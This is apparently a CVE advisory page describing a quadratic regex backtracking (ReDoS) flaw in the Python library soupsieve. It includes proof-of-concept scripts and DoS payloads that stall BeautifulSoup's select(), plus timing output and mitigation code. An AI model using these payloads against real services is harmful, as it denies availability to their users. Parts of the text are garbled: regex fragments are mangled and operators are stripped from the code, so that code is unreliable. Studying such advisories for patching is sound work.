soupsieve, Regular Expression Denial of Service (ReDoS), CVE-2026-86000 (HIGH) -DC-Sep2026-2472

Listen to this Post

— How the Vulnerability Works

soupsieve compiles CSS selector strings using a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:

|ESC)+(?:[bash]|ESC)</code>, where both classes match ordinary identifier characters such as <code>a</code>. The intent is that the first character of an identifier should not be a digit, while subsequent characters may be digits. However, because both `classA` and `classB` match ordinary letters like `a` (0x61), the construct effectively reduces to `(?:C)+(?:C)` over an overlapping class `C` — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
When a selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail (e.g. an attribute value with no closing <code>]</code>, or an identifier followed by an invalid character), the regular expression engine backtracks across all O(n) ways to split the run between the `+` group and the `` group, giving O(n²) parse time. The quadratic only manifests when the overall match must fail; a successful greedy match on `"a"n` runs in linear time (~1 ms at n=32000). Anchoring the pattern so that a following element is mandatory and fails (<code>IDENTIFIER + "$"</code> against <code>"a"n + "!"</code>) directly reproduces the O(n²) behavior: n=2000 → 44 ms, n=4000 → 257 ms, n=8000 → 743 ms, n=16000 → 2944 ms (~×4 per ×2).
A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. Profiling `compile("[a=" + "a"4000)` shows only 12 `re.match` calls consuming 2.685 seconds — the cost is inside a single regex match, confirming regex backtracking rather than loop overhead. The selector string reaches this code via <code>soupsieve.compile()</code>, <code>soupsieve.select/iselect/match/filter</code>, and most commonly through BeautifulSoup's `soup.select(selector)` / <code>soup.select_one(selector)</code>, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs), while applications that only use hard-coded selectors are not affected.

<h2 style="color: blue;">DailyCVE Form:</h2>

Platform: soupsieve
Version: <2.9
Vulnerability: ReDoS
Severity: HIGH
date: 2026-07-14
<h2 style="color: blue;">Prediction: 2026-09-17</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
Reproduction environment — published PyPI soupsieve 2.8.4
uv pip install soupsieve beautifulsoup4
Execute the PoC
cd poc && ../.venv-published/bin/python poc_redos_compile.py
Expected output (published 2.8.4):
soupsieve 2.8.4
Payload A: '[a=' + 'a'n
n=1000 len=1003 113.9 ms [bash]
n=2000 len=2003 457.2 ms [bash]
n=4000 len=4003 1816.8 ms [bash]
n=8000 len=8003 7299.0 ms [bash]
[+] Single call: compile('[a=' + 'a'12000) wall time = 16.57 s [bash]
poc/poc_redos_compile.py
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def compile_time(sel):
t0 = time.perf_counter()
try:
sv.compile(sel)
status = "ok"
except Exception as e:
status = type(e).<strong>name</strong>
return (time.perf_counter() - t0), status
print(f"soupsieve {sv.<strong>version</strong>}\n")
print("Payload A: '[a=' + 'a'n (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
dt, st = compile_time("[a=" + "a" n)
print(f" n={n:<6} len={3+n:<7} {dt1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'n + '!' (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
dt, st = compile_time("a" n + "!")
print(f" n={n:<6} len={n+1:<7} {dt1000:9.1f} ms [{st}]")
payload = "[a=" + "a" 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
End-to-end via BeautifulSoup
from bs4 import BeautifulSoup
html = "<div>test</div>"
soup = BeautifulSoup(html, "html.parser")
This call stalls ~5.0 s on bs4 4.15.0 + soupsieve 2.8.4
soup.select("[a=" + "a"6000)

Exploit: (Educational Purposes!)

Minimal reproduction of the O(n²) backtracking
import soupsieve as sv
import time
n = 12000
selector = "[a=" + "a" n
start = time.perf_counter()
try:
sv.compile(selector)
except sv.SelectorSyntaxError:
pass
elapsed = time.perf_counter() - start
print(f"compile('[a=' + 'a'{n}) took {elapsed:.2f}s")
End-to-end DoS through BeautifulSoup with user-supplied selector
from bs4 import BeautifulSoup
html = "<html><body>

<div>content</div>

</body></html>"
soup = BeautifulSoup(html, "html.parser")
Attacker controls the selector string
user_selector = "[data-x=" + "a" 12000
try:
soup.select(user_selector) stalls for ~17 seconds
except Exception:
pass

Protection: from this CVE

Immediate mitigation: cap selector length before compiling
MAX_SELECTOR_LENGTH = 1024
def safe_compile(selector: str):
if len(selector) > MAX_SELECTOR_LENGTH:
raise ValueError("Selector exceeds maximum allowed length")
return soupsieve.compile(selector)
Upgrade to soupsieve >= 2.9 (fixes the IDENTIFIER/VALUE backtracking)
pip install --upgrade soupsieve
Verify installed version
python -c "import soupsieve; print(soupsieve.<strong>version</strong>)"
Expected: >= 2.9 (or >= 2.8.4 for CVE-2026-49477 specifically)
Defense-in-depth: reject selectors with long unterminated attribute values
import re
def validate_selector(selector: str) -> bool:
Reject unterminated attribute value patterns
if re.search(r'[\w+=\s["\']?[^]"\']$', selector):
return False
Reject excessively long identifier runs
if re.search(r'[a-zA-Z0-9_-]{512,}', selector):
return False
return True

Impact:

Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. Approximately 8 KB → 8 seconds; 12 KB → 17 seconds; scaling approximately ×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
Not claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top